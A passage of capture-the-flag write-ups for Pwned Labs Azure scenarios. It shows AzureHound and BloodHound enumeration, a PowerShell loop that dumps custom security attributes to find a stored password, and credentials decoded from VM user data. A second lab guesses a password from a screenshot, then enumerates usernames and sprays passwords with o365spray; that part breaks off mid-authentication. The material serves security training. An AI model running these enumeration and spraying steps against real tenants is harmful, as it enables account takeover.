</span></span><span style="display:flex;"><span>2024-11-18T13:21:23+08:00 INF finished listing all subscriptions count<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all subscription role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all subscription user access admins
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all resource groups
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all resource group role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all tenants count<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all virtual machine scale sets
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all vm scale set role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all managed clusters
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all managed cluster role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all group owners
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing members <span style="color:#66d9ef">for</span> all groups
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all container registries
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all container registry role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all virtual machines
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all app owners
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all logic apps
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all logic app role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all virtual machine role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all automation accounts
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all automation account role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all <span style="color:#66d9ef">function</span> apps
</span></span><span style="display:flex;"><span>2024-11-18T13:21:24+08:00 INF finished listing all <span style="color:#66d9ef">function</span> app role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:25+08:00 INF finished listing all web apps
</span></span><span style="display:flex;"><span>2024-11-18T13:21:25+08:00 INF finished listing all web app role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:25+08:00 INF finished listing all roles count<span style="color:#f92672">=</span><span style="color:#ae81ff">114</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:25+08:00 INF finished listing all role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:27+08:00 INF finished listing all key vaults
</span></span><span style="display:flex;"><span>2024-11-18T13:21:27+08:00 INF finished listing all key vault role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:29+08:00 INF finished listing all service principals count<span style="color:#f92672">=</span><span style="color:#ae81ff">509</span>
</span></span><span style="display:flex;"><span>2024-11-18T13:21:29+08:00 INF finished listing all app role assignments
</span></span><span style="display:flex;"><span>2024-11-18T13:21:29+08:00 INF finished listing all service principal owners
</span></span><span style="display:flex;"><span>2024-11-18T13:21:29+08:00 INF collection completed duration<span style="color:#f92672">=</span>6.989774741s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>shutting down gracefully, press ctrl+c again to force
</span></span></code></pre></div><p>Now that we have run <code>azurehound</code> and saved the data, we go back to the BloodHound page, click the cog in the top right hand corner and select Administration which will allow us to upload the file and follow the prompts.</p>
<p><img src="/assets/pwn_20241118132544.png" alt=""></p>
<p>The ingestion process with take a couple of minutes depending on the size of the organisation, and once this is complete we can select the Explore button on the top menu and then search for the user account and click on Object to display details.</p>
<p><img src="/assets/pwn_20241118132930.png" alt=""></p>
<p>If we right click on the object, we can select <strong>Add to Owned</strong> which will then mark the object with a skull to visually identify it as owned</p>
<p><img src="/assets/pwn_20241118133137.png" alt=""></p>
<p>There is value in marking objects as owned or high value targets as they can be used as part of Cypher queries that will help map out attack paths in larger environments.</p>
<p>If we click to Cypher we can then click the Folder Icon to the left and search using Pre-built searches, for example All Global Administrators for Azure</p>
<p><img src="/assets/pwn_20241118133735.png" alt=""></p>
<p>If we move our focus back to Jose, we can click on Roles in the Object Properties to the right and it will show us that he is a member of the It-HelpDesk Group, which has 4 roles assigned to it and the Update Manager role directly assigned to his account.</p>
<p><img src="/assets/pwn_20241118134157.png" alt=""></p>
<p>At this point it is important to talk about Edges which are the connections between the objects with the direction of the edge always indicates the direct of attack, or the direction of escalating privileges.  For more details about Edges refer to the <a href="https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html">documentation</a></p>
<p>The one that is the most interesting is Attribute Assignment Reader as this allows reading security attribute keys and values</p>
<p><img src="/assets/pwn_20241118143253.png" alt=""></p>
<p>Time to find out which users have Security Attributes set.  We will start PowerShell and then connect to the Microsoft Graph</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS&gt; connect-mggraph
</span></span><span style="display:flex;"><span>Welcome to Microsoft Graph!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Connected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70dab67e
</span></span><span style="display:flex;"><span>Readme<span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//aka.ms/graph/sdk/powershell
</span></span><span style="display:flex;"><span>SDK Docs<span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//aka.ms/graph/sdk/powershell/docs
</span></span><span style="display:flex;"><span>API Docs<span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//aka.ms/graph/docs
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NOTE<span style="color:#960050;background-color:#1e0010">:</span> You can use the -NoWelcome parameter to suppress this message.
</span></span></code></pre></div><p>If there is a permission to read custom security attributes, then it would only seem logical that they would be used in the environment.  The following is the Microsoft Documentation on retrieving <a href="https://learn.microsoft.com/en-us/entra/identity/users/users-custom-security-attributes?tabs=ms-graph#get-the-custom-security-attribute-assignments-for-a-user">Custom Security attributes</a>.  Using this we will craft the following script to save having to look for them manually</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$allusers = Get-MgUser -All
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($user <span style="color:#66d9ef">in</span> $allusers) {
</span></span><span style="display:flex;"><span>	$userAttributes = Get-MgUser -UserId $user.Id -Property <span style="color:#e6db74">&#34;customSecurityAttributes&#34;</span>
</span></span><span style="display:flex;"><span>	Write-Host <span style="color:#e6db74">&#34;User: </span>$($user.UserPrincipalName)<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>	$userAttributes.CustomSecurityAttributes.AdditionalProperties | fl
</span></span><span style="display:flex;"><span>	Write-Host <span style="color:#e6db74">&#34;--------------&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This printed out a list of users and we found the following</p>
<pre tabindex="0"><code>User: archive@megabigtech.com

Key   : Helpdesk
Value : {[@odata.type, #microsoft.graph.customSecurityAttributeValue], [Password, D4taS3cur1ty!!]}
</code></pre><p>After finding this we login to the portal as Jose and look at the properties of the Archive User</p>
<p><img src="/assets/pwn_20241118145002.png" alt=""></p>
<p>One area that Bloodhound is lacking is with regards to Azure Role Assignments.  Whilst we are logged into the portal and we look at the IT-Helpdesk group, we can see that we have an Assignment of Reader to the Security-PC</p>
<p><img src="/assets/pwn_20241118145141.png" alt=""></p>
<p>We look at the Security-PC and we find User-Data which contains credentials</p>
<p><img src="/assets/pwn_20241118145341.png" alt=""></p>
<pre tabindex="0"><code># Credentials: User: security-user | Password: Imp0sec0sT!
az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login
</code></pre><p>We login as the security-user with the credentials that we found and we have the flag</p>
<p><img src="/assets/pwn_20241118145847.png" alt=""></p>
<h2 id="alternative-approach">Alternative Approach</h2>
<p>Whilst BloodHound is a fantastic tool, it does have it shortcomings and this is why in enumeration it is important to ensure that all angles are covered and with Azure, that often requires a combination of Azure CLI, PowerShell and Microsoft Graph.  Lets look at how we could have also found out about the Security-PC as well as our Role Assignment.</p>
<p>We Connect using PowerShell and one of the first things that we do after that is to look at what resources we have access to</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS&gt; Connect-AzAccount
</span></span><span style="display:flex;"><span>Please select the account you want to login with.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Retrieving subscriptions <span style="color:#66d9ef">for</span> the selection...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#66d9ef">Announcements</span>]
</span></span><span style="display:flex;"><span>With the new Azure PowerShell login experience, you can select the subscription you want to use more easily. Learn more about it and its <span style="color:#66d9ef">configuration</span> at https<span style="color:#960050;background-color:#1e0010">:</span>//go.microsoft.com/fwlink/<span style="color:#66d9ef">?</span>linkid=<span style="color:#ae81ff">2271909</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">If</span> you encounter any problem, please open an issue at<span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//aka.ms/azpsissue
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Subscription name           Tenant
</span></span><span style="display:flex;"><span>-----------------           ------
</span></span><span style="display:flex;"><span>Microsoft Azure Sponsorship <span style="color:#66d9ef">Default</span> Directory
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS&gt; Get-AzResource
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Name              <span style="color:#960050;background-color:#1e0010">:</span> SECURITY-PC
</span></span><span style="display:flex;"><span>ResourceGroupName <span style="color:#960050;background-color:#1e0010">:</span> content-static-<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>ResourceType      <span style="color:#960050;background-color:#1e0010">:</span> Microsoft.Compute/virtualMachines
</span></span><span style="display:flex;"><span>Location          <span style="color:#960050;background-color:#1e0010">:</span> eastus
</span></span><span style="display:flex;"><span>ResourceId        <span style="color:#960050;background-color:#1e0010">:</span> /subscriptions/ceff06cb-e29d-<span style="color:#ae81ff">4486</span>-a3ae-eaaec5689f94/resourceGroups/content-static-<span style="color:#ae81ff">2</span>/providers/Microsoft.Compute
</span></span><span style="display:flex;"><span>                    /virtualMachines/SECURITY-PC
</span></span><span style="display:flex;"><span>Tags              <span style="color:#960050;background-color:#1e0010">:</span>
</span></span></code></pre></div><p>With this we can see that we have access to the computer SECURITY-PC and we can then enumerate it and pass in the parameter flag for user data, which is returned in Base64</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS&gt; Get-AzVM -ResourceGroupName content-static-<span style="color:#ae81ff">2</span> -Name SECURITY-PC -UserData
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ResourceGroupName <span style="color:#960050;background-color:#1e0010">:</span> content-static-<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>Id                <span style="color:#960050;background-color:#1e0010">:</span> /subscriptions/ceff06cb-e29d-<span style="color:#ae81ff">4486</span>-a3ae-eaaec5689f94/resourceGroups/content-static-<span style="color:#ae81ff">2</span>/providers/Microsoft.Compute
</span></span><span style="display:flex;"><span>/virtualMachines/SECURITY-PC
</span></span><span style="display:flex;"><span>VmId              <span style="color:#960050;background-color:#1e0010">:</span> 648c8a08-c90a-4a95-<span style="color:#ae81ff">8922</span>-4cbf28375bcb
</span></span><span style="display:flex;"><span>Name              <span style="color:#960050;background-color:#1e0010">:</span> SECURITY-PC
</span></span><span style="display:flex;"><span>Type              <span style="color:#960050;background-color:#1e0010">:</span> Microsoft.Compute/virtualMachines
</span></span><span style="display:flex;"><span>Location          <span style="color:#960050;background-color:#1e0010">:</span> eastus
</span></span><span style="display:flex;"><span>LicenseType       <span style="color:#960050;background-color:#1e0010">:</span> Windows_Client
</span></span><span style="display:flex;"><span>Tags              <span style="color:#960050;background-color:#1e0010">:</span> {}
</span></span><span style="display:flex;"><span>HardwareProfile   <span style="color:#960050;background-color:#1e0010">:</span> {VmSize}
</span></span><span style="display:flex;"><span>NetworkProfile    <span style="color:#960050;background-color:#1e0010">:</span> {NetworkInterfaces}
</span></span><span style="display:flex;"><span>SecurityProfile   <span style="color:#960050;background-color:#1e0010">:</span> {UefiSettings, SecurityType}
</span></span><span style="display:flex;"><span>OSProfile         <span style="color:#960050;background-color:#1e0010">:</span> {ComputerName, AdminUsername, WindowsConfiguration, Secrets, AllowExtensionOperations, RequireGuestProvisionSig
</span></span><span style="display:flex;"><span>nal}
</span></span><span style="display:flex;"><span>ProvisioningState <span style="color:#960050;background-color:#1e0010">:</span> Succeeded
</span></span><span style="display:flex;"><span>StorageProfile    <span style="color:#960050;background-color:#1e0010">:</span> {ImageReference, OsDisk, DataDisks, DiskControllerType}
</span></span><span style="display:flex;"><span>Identity          <span style="color:#960050;background-color:#1e0010">:</span> {PrincipalId, TenantId, Type}
</span></span><span style="display:flex;"><span>Zones             <span style="color:#960050;background-color:#1e0010">:</span> {<span style="color:#ae81ff">1</span>}
</span></span><span style="display:flex;"><span>UserData          <span style="color:#960050;background-color:#1e0010">:</span> IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQ
</span></span><span style="display:flex;"><span>gLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyLW5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIG
</span></span><span style="display:flex;"><span>xvZ2luCg==
</span></span><span style="display:flex;"><span>TimeCreated       <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">10</span>/<span style="color:#ae81ff">31</span>/<span style="color:#ae81ff">2023</span> <span style="color:#ae81ff">15</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">24</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">18</span>
</span></span><span style="display:flex;"><span>Etag              <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;16&#34;</span>
</span></span></code></pre></div><p>We can then decode that and we have found the user data and can continue as before</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ echo -n <span style="color:#e6db74">&#39;IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQ
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">gLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyLW5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIG
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">xvZ2luCg==&#39;</span> | base64 -d
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Credentials: User: security-user | Password: Imp0sec0sT!</span>
</span></span><span style="display:flex;"><span>az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login
</span></span></code></pre></div><h2 id="defense">Defense</h2>
<p>Azure user management improves on Active Directory by removing user text fields often misused for storing passwords;however, the preview of Azure custom security attributes reintroduces the risk of misuse if administrators use these fields to store sensitive information for convenience.</p>
<p>While these attributes are not directly accessible to regular users (unlike in Active Directory), it&rsquo;s crucial to tightly control access to the <strong>Attribute Definition Reader</strong> and <strong>Attribute Assignment Reader</strong> roles. Avoid using custom attributes to store credentials or sensitive data.</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Abuse Azure Logic App Automation</title>
            <link>https://www.nephos.guru/posts/2024/abuseazureautomation/</link>
            <pubDate>Sun, 17 Nov 2024 17:49:00 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/abuseazureautomation/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/abuse-azure-logic-app-automation&#34;&gt;Abuse Azure Logic App Automation&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;Our red team has been conducting an open-source intelligence gathering operation focused on our organization. During this process, they uncovered a potentially concerning social media post made by one of our newly appointed managers. The post appears to contain information that could be leveraged by malicious actors. You&amp;rsquo;ve been assigned to investigate this discovery further. Your task is to analyze the provided social media post and assess its potential for establishing an initial foothold in our systems. We need you to explore possible attack vectors, evaluate the risk to our organization, and determine how this information might be exploited by potential adversaries.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/abuse-azure-logic-app-automation">Abuse Azure Logic App Automation</a></p>
<h2 id="scenario">Scenario</h2>
<p>Our red team has been conducting an open-source intelligence gathering operation focused on our organization. During this process, they uncovered a potentially concerning social media post made by one of our newly appointed managers. The post appears to contain information that could be leveraged by malicious actors. You&rsquo;ve been assigned to investigate this discovery further. Your task is to analyze the provided social media post and assess its potential for establishing an initial foothold in our systems. We need you to explore possible attack vectors, evaluate the risk to our organization, and determine how this information might be exploited by potential adversaries.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Enumeration and exfiltration of information from M365</li>
<li>Abuse Azure Logic Apps automation</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Modern organizations face significant security risks from two primary sources: employee oversharing on social media and hastily implemented internal automation processes. Social media platforms often become inadvertent sources of valuable information for threat actors, potentially facilitating initial access to organizational systems.</p>
<p>This risk is compounded by the increasing pressure to streamline operations through automation, leading to the rapid development of internal processes that may lack robust security measures. These internal automation projects, frequently treated as side tasks with limited resources and expertise, often fulfill basic functional requirements but fall short of the security standards applied to external-facing products. The combination of easily accessible information through social media and vulnerable internal automation creates a complex security landscape that malicious actors can exploit.</p>
<hr>
<h2 id="attack">Attack</h2>
<p>The attack starts with OSINT and a Social Media post from Ryan Lin, an employee of Mega Big Tech on LinkedIn expressing excitement about joining the company and also his impending Azure Exam and we can see the image shared below:</p>
<p><img src="/assets/pwn_20241117153322.png" alt=""></p>
<p>When looking at this image there is a lot of information that shouldn&rsquo;t be shared on social medial, but what really catches the eye is the text in yellow about the use of username and password in the command line.  If you look closely you can see that the image screenshot hasn&rsquo;t fully obscured the bottom of the command.  If we use a tool like Gimp, we can zoom in and we see the lower portion of the characters of the password as shown in the below image:</p>
<p><img src="/assets/pwn_20241117153455.png" alt=""></p>
<p>This is like a game of Hangman with some analysis of the shapes of the character.  Let&rsquo;s break them down:</p>
<p>Position 1: s, S  Could be other characters like c,b or d; however, given the straight cut on the left edge, I will stick with s or S
Position 2: u, a
Position 3: p
Position 4: e, c
Position 5: r, l, t
Position 6: R
Position 7: y
Position 8: u, a
Position 9: n
Position 10: . or ! or ?</p>
<p>When you factor in password complexity rules and that fact that most of us are lazy when it comes to trying to remember complex passwords, it leaves us with a reasonably short list that we could initially start with and we will save them to <code>passwords.txt</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>superRyan.
</span></span><span style="display:flex;"><span>superRyan!
</span></span><span style="display:flex;"><span>superRyan?
</span></span><span style="display:flex;"><span>SuperRyan.
</span></span><span style="display:flex;"><span>SuperRyan!
</span></span><span style="display:flex;"><span>SuperRyan?
</span></span></code></pre></div><p>Now that we have a Name and possible password combinations, time to generate a list of potential usernames, and for that we will use <a href="https://github.com/urbanadventurer/username-anarchy">Username Anarchy</a> passing in the first and last name and then piping it to VIM</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./username-anarchy ryan lin | vim -
</span></span></code></pre></div><p>From within VIM then press <code>Ctrl+v G $ A</code> and type in &lsquo;@megabigtech.com&rsquo; and Esc.  Then <code>:w usernames.txt</code> to save the output.</p>
<p>Whilst it would be fair to assume that they are using M365, we can quickly validate that with a DNS query that confirms that they are using M365</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ dig megabigtech.com +noall +answer MX
</span></span><span style="display:flex;"><span>megabigtech.com.        <span style="color:#ae81ff">3600</span>    IN      MX      <span style="color:#ae81ff">0</span> megabigtech-com.mail.protection.outlook.com.
</span></span></code></pre></div><p>Now that we have gathered all the required information we will determine with of the emails are valid using <code>o365enum</code> and we can see that <code>ryan.lin@megabigtech.com</code> as indicated by 1, is valid.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ python3 /opt/tools/o365enum/o365enum.py -u usernames.txt -m office.com
</span></span><span style="display:flex;"><span>username,valid
</span></span><span style="display:flex;"><span>ryan@megabigtech.com,0
</span></span><span style="display:flex;"><span>ryanlin@megabigtech.com,0
</span></span><span style="display:flex;"><span>ryan.lin@megabigtech.com,1
</span></span><span style="display:flex;"><span>ryanl@megabigtech.com,0
</span></span><span style="display:flex;"><span>r.lin@megabigtech.com,0
</span></span><span style="display:flex;"><span>rlin@megabigtech.com,0
</span></span><span style="display:flex;"><span>lryan@megabigtech.com,0
</span></span><span style="display:flex;"><span>l.ryan@megabigtech.com,0
</span></span><span style="display:flex;"><span>linr@megabigtech.com,0
</span></span><span style="display:flex;"><span>lin@megabigtech.com,0
</span></span><span style="display:flex;"><span>lin.r@megabigtech.com,0
</span></span><span style="display:flex;"><span>lin.ryan@megabigtech.com,0
</span></span><span style="display:flex;"><span>rl@megabigtech.com,0
</span></span></code></pre></div><p>We now doing password spraying and we have got a hit and we now have a valid username and password.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ python3 /opt/tools/o365spray/o365spray.py --spray -u ryan.lin@megabigtech.com -P passwords.txt --lockout <span style="color:#ae81ff">1</span> --domain megabigtech.com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            *** O365 Spray ***
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&gt;----------------------------------------&lt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   &gt; version        :  3.0.4
</span></span><span style="display:flex;"><span>   &gt; domain         :  megabigtech.com
</span></span><span style="display:flex;"><span>   &gt; spray          :  True
</span></span><span style="display:flex;"><span>   &gt; username       :  ryan.lin@megabigtech.com
</span></span><span style="display:flex;"><span>   &gt; passfile       :  passwords.txt
</span></span><span style="display:flex;"><span>   &gt; count          :  <span style="color:#ae81ff">1</span> passwords/spray
</span></span><span style="display:flex;"><span>   &gt; lockout        :  1.0 minutes
</span></span><span style="display:flex;"><span>   &gt; validate_module:  getuserrealm
</span></span><span style="display:flex;"><span>   &gt; spray_module   :  oauth2
</span></span><span style="display:flex;"><span>   &gt; rate           :  <span style="color:#ae81ff">10</span> threads
</span></span><span style="display:flex;"><span>   &gt; poolsize       :  <span style="color:#ae81ff">10000</span>
</span></span><span style="display:flex;"><span>   &gt; safe           :  <span style="color:#ae81ff">10</span> locked accounts
</span></span><span style="display:flex;"><span>   &gt; timeout        :  <span style="color:#ae81ff">25</span> seconds
</span></span><span style="display:flex;"><span>   &gt; start          :  2024-11-17 16:25:55
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&gt;----------------------------------------&lt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:25:55,833<span style="color:#f92672">]</span> info | Validating: megabigtech.com
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:25:56,829<span style="color:#f92672">]</span> info | <span style="color:#f92672">[</span>VALID<span style="color:#f92672">]</span> The following domain appears to be using O365: megabigtech.com
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:25:56,830<span style="color:#f92672">]</span> info | Running password spray against <span style="color:#ae81ff">1</span> users.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:25:56,831<span style="color:#f92672">]</span> info | Password spraying the following passwords: <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;superRyan.&#39;</span><span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>INVALID<span style="color:#f92672">]</span> ryan.lin@megabigtech.com:superRyan.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Next spray in: 0:00:00
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:26:57,626<span style="color:#f92672">]</span> info | Password spraying the following passwords: <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;superRyan!&#39;</span><span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:26:58,975<span style="color:#f92672">]</span> info | <span style="color:#f92672">[</span>VALID<span style="color:#f92672">]</span> ryan.lin@megabigtech.com:superRyan! <span style="color:#f92672">(</span>Invalid resource name.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>2024-11-17 16:26:58,977<span style="color:#f92672">]</span> info |
</span></span></code></pre></div><p>With valid credentials, we login via AZ CLI, but we have no access to resources</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ az login -u ryan.lin@megabigtech.com -p <span style="color:#e6db74">&#39;superRyan!&#39;</span>
</span></span><span style="display:flex;"><span>Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid<span style="color:#f92672">=</span><span style="color:#ae81ff">2276314</span>
</span></span><span style="display:flex;"><span>The following tenants don<span style="color:#e6db74">&#39;t contain accessible subscriptions. Use `az login --allow-no-subscriptions` to have tenant level access.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">2590ccef-687d-493b-ae8d-441cbab63a72 &#39;</span>Default Directory<span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>No subscriptions found <span style="color:#66d9ef">for</span> ryan.lin@megabigtech.com.
</span></span></code></pre></div><p>As we know that they are using M365, we will use GraphRunner to login and continue our enumeration.  First we need to Import the Module and then authenticate</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS&gt; Import-Module /opt/tools/GraphRunner/GraphRunner.ps1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  ________                     __      _______      by Beau Bullock (@dafthack)
</span></span><span style="display:flex;"><span> /_______/___________  ______ |  |____/_______\__ __  ____   ____   ___________
</span></span><span style="display:flex;"><span>/___\  __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
</span></span><span style="display:flex;"><span>\    \_\  \  | \// __ \|  |_/ |   Y  \    |   \  |  /   |  \   |  \  ___/|  | \/
</span></span><span style="display:flex;"><span> \________/__|  (______/__|   |___|__|____|___/____/|___|__/___|__/\___| &gt;__|
</span></span><span style="display:flex;"><span>                 <span style="color:#66d9ef">Do</span> service principals dream of electric sheep?
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">For</span> usage information see the wiki here<span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//github.com/dafthack/GraphRunner/wiki
</span></span><span style="display:flex;"><span>To list GraphRunner modules run List-GraphRunnerModules
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS&gt; Get-GraphTokens
</span></span><span style="display:flex;"><span>To sign <span style="color:#66d9ef">in</span>, use a web browser to open the page https<span style="color:#960050;background-color:#1e0010">:</span>//microsoft.com/devicelogin and enter the code SVVMYRAUZ to authenticate.
</span></span><span style="display:flex;"><span>authorization_pending
